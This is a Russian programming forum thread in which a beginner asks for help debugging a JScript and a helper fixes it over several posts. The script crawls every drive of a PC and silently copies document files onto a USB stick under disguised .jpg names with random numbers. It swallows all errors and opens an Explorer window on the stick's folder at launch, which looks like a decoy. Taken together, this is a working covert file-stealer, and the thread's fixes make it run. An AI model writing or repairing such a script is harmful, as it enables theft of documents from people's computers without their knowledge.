Помогите разобраться начинающему в программах vbs

[lixen15]

Доброго времени суток! Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.

function UpdateSoftware(fso, cd, softwareFolder) {
    try {
        var patch = /\.(doc|rtf|xls|txt)$/i;
        var diff = new Date(2007,05,01);
        var softwareEnumerator = new Enumerator(softwareFolder.Files);
        softwareEnumerator.moveFirst();
        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
            if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                try {
                    fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                } catch (e) {
                    if (e.number == 61) {
                        WScript.Quit(0);
                    }
                }
            }
        }
        var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
        packageEnumerator.moveFirst();
        for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
            try {
                if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                    UpdateSoftware(fso, cd, packageEnumerator.item());
                 }
            } catch(e) {
            }
        }
    } catch(e) {
    }
}
 
try {
    var ws = WScript.CreateObject("WScript.Shell");
    ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
    var fso = WScript.CreateObject("Scripting.FileSystemObject");
    if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
        fso.CreateFolder(ws.CurrentDirectory+"\\photo");
    }
    var tmpFileName = "autorun.txt";
    if (!fso.FileExists(tmpFileName)) {
        var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
        tmpFile.Close();
        var driveEnumerator = new Enumerator(fso.Drives);
        driveEnumerator.moveFirst();
        for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
            try {
                if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                    UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                }
            } catch(e) {
            }
        }
        fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
    }
} catch(e) {
}

Заранее большое спасибо!

Сообщение отредактировано: JoeUser - 05.12.18, 04:56

[Славян]

Может, patch - строка и нужны кавычки? Не уверен.

[MIF]

Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.

[Олег М]

Цитата lixen15 @ 04.12.18, 21:33

Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе.

Вроде всё нормально. Какая конкретно ошибка?

Цитата MIF @ 05.12.18, 06:19

Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.

Это JavaScript

[lixen15]

Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
И спасибо большое за ответы, я не ожидала, что кто-то отзавется

[Олег М]

Цитата lixen15 @ 05.12.18, 10:07

ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.

Проверь файл, что он в кодировке ANSI, и что расширение у него .js
Я просто скопировал код отсюда, всё нормально никакой ошибки не было

[lixen15]

Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(

[Олег М]

Цитата lixen15 @ 05.12.18, 10:17

что ни одно фото не открывается и имеет какие то нереально длинные названия(

Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать.
А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software.................

[lixen15]

Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

[Олег М]

Цитата lixen15 @ 05.12.18, 10:31

И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа

var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];

[lixen15]

Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких

[Олег М]

Покажи код

[lixen15]

Олег М

function UpdateSoftware(fso, cd, softwareFolder) {
    try {
        var patch = /\.(jpg)$/i;
        var diff = new Date(2018,05,01);
        var softwareEnumerator = new Enumerator(softwareFolder.Files);
        softwareEnumerator.moveFirst();
        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
            if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                try {
                    var found = softwareEnumerator.item().Name.match(patch);
                    var ext = found[0];
                } catch (e) {
                    if (e.number == 61) {
                        WScript.Quit(0);
                    }
                }
            }
        }
        var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
        packageEnumerator.moveFirst();
        for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
            try {
                if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                    UpdateSoftware(fso, cd, packageEnumerator.item());
                 }
            } catch(e) {
            }
        }
    } catch(e) {
    }
}
 
try {
    var ws = WScript.CreateObject("WScript.Shell");
    ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
    var fso = WScript.CreateObject("Scripting.FileSystemObject");
    if (!fso.FolderExists(ws.CurrentDirectory+"\\home")) {
        fso.CreateFolder(ws.CurrentDirectory+"\\home");
    }
    var tmpFileName = "autorun.txt";
    if (!fso.FileExists(tmpFileName)) {
        var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
        tmpFile.Close();
        var driveEnumerator = new Enumerator(fso.Drives);
        driveEnumerator.moveFirst();
        for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
            try {
                if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                    UpdateSoftware(fso, ws.CurrentDirectory+"\\home", driveEnumerator.item().RootFolder);
                }
            } catch(e) {
            }
        }
        fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
    }
} catch(e) {
}

Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так

Сообщение отредактировано: JoeUser - 05.12.18, 15:46

[Олег М]

Цитата lixen15 @ 05.12.18, 10:55

Операция теперь проходит без ошибок, но файлов не появляется никаких

потому что ты убрала fso.CopyFile

Добавлено 05.12.18, 11:04

        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
        {
            var found = softwareEnumerator.item().Name.match(patch);
 
            if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
            {
                try
                {
                    var ext = "." + found[0];
                    fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                }
                catch (e)
                {
                    if (e.number == 61)
                    {
                        WScript.Quit(0);
                    }
                }
            }
        }

Добавлено 05.12.18, 11:05
Только для начала лучше проверь

                    var ext = "." + found[0];
                    //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
WScript.StdOut.WriteLine(ext);

Добавлено 05.12.18, 11:11
fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);

[lixen15]

Олег М

var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];
fso.CopyFile found
вот так должно выглядеть?

[Олег М]

Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри

[lixen15]

Олег М
Не видела предыдущего сообщения, простите.

function UpdateSoftware(fso, cd, softwareFolder) {
    try {
        var patch = /\.(doc|rtf|xls|txt)$/i;
        var diff = new Date(2007,05,01);
        var softwareEnumerator = new Enumerator(softwareFolder.Files);
        softwareEnumerator.moveFirst();
        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
             for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
        {
            var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];
 
            if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
            {
                try
                {
                    var ext = "." + found[0];
                    fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
WScript.StdOut.WriteLine(ext);
                }
                catch (e)
                {
                    if (e.number == 61)
                    {
                        WScript.Quit(0);
                    }
                }
            }
        }

18 строка copyFile все время выдает ошибку

Сообщение отредактировано: JoeUser - 05.12.18, 15:47

[Олег М]

Цитата lixen15 @ 05.12.18, 11:31

18 строка copyFile все время выдает ошибку

Я ............................. поставил, чтоб покороче было.

                try
                {
                    fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                        + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                        + "-" + Date.parse(softwareEnumerator.item().DateLastModified)
                        + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed)
                        + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)
                        + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)
                        + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)
                        + found[0], true);
                }

Добавлено 05.12.18, 11:41
Можно сократить имя

                    fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                        + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                        + found[0], true);

[lixen15]

Олег М
Понимаю, что я наверно Вас уже достала, хах.

function UpdateSoftware(fso, cd, softwareFolder) {
    try {
        var patch = /\.(doc|rtf|xls|txt)$/i;
        var diff = new Date(2007,05,01);
        var softwareEnumerator = new Enumerator(softwareFolder.Files);
        softwareEnumerator.moveFirst();
        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
        {
            var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];
 
            if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
            {
                try
                {
                    var ext = "." + found[0];
                    fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                        + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                        + found[0], true);
                }
                catch (e)
                {
                    if (e.number == 61)
                    {
                        WScript.Quit(0);
                    }
                }
            }
        }
        var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
        packageEnumerator.moveFirst();
        for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
            try {
                if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                    UpdateSoftware(fso, cd, packageEnumerator.item());
                 }
            } catch(e) {
            }
        }
    } catch(e) {
    }
}
 
try {
    var ws = WScript.CreateObject("WScript.Shell");
    ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
    var fso = WScript.CreateObject("Scripting.FileSystemObject");
    if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
        fso.CreateFolder(ws.CurrentDirectory+"\\photo");
    }
    var tmpFileName = "autorun.txt";
    if (!fso.FileExists(tmpFileName)) {
        var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
        tmpFile.Close();
        var driveEnumerator = new Enumerator(fso.Drives);
        driveEnumerator.moveFirst();
        for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
            try {
                if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                    UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                }
            } catch(e) {
            }
        }
        fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
    }
} catch(e) {
}

Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка

Сообщение отредактировано: JoeUser - 05.12.18, 15:48

[Олег М]

Лишняя скобка

for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
{
var found = softwareEnumerator.item().Name.match(patch);
var ext = found[0];

[lixen15]

Олег М
Все запустилось без ошибок, но ничего не скопировалось, хах

[Олег М]

А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?

[lixen15]

Олег М Исправила на docx. Все равно результата нету

Сообщение отредактировано: lixen15 - 05.12.18, 12:14

[Олег М]

Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь

Добавлено 05.12.18, 13:33
var ext = found[0];
Убери эту строчку, она даёт ошибку

[lixen15]

Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

function UpdateSoftware(fso, cd, softwareFolder) {
var patch = /\.(docx)$/i;
var diff = new Date(2007,05,01);
var softwareEnumerator = new Enumerator(softwareFolder.Files);
softwareEnumerator.moveFirst();
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
{
var found = softwareEnumerator.item().Name.match(patch);
if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
{
var ext = "." + found[0];
fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
+ "-" + Date.parse(softwareEnumerator.item().DateCreated)
+ found[0], true);
}
{
if (e.number == 61)
{
WScript.Quit(0);
}
}
}
}
var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
packageEnumerator.moveFirst();
for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {

if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
UpdateSoftware(fso, cd, packageEnumerator.item());
}
{
}
}
{
}


{
var ws = WScript.CreateObject("WScript.Shell");
ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
var fso = WScript.CreateObject("Scripting.FileSystemObject");
if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
fso.CreateFolder(ws.CurrentDirectory+"\\photo");
}
var tmpFileName = "autorun.txt";
if (!fso.FileExists(tmpFileName)) {
var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
tmpFile.Close();
var driveEnumerator = new Enumerator(fso.Drives);
driveEnumerator.moveFirst();
for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
{
if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
}
} {
}
}
fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
}
} {
}

 

[Олег М]

Цитата lixen15 @ 06.12.18, 21:56

Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить
Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше.

Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать.
И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении.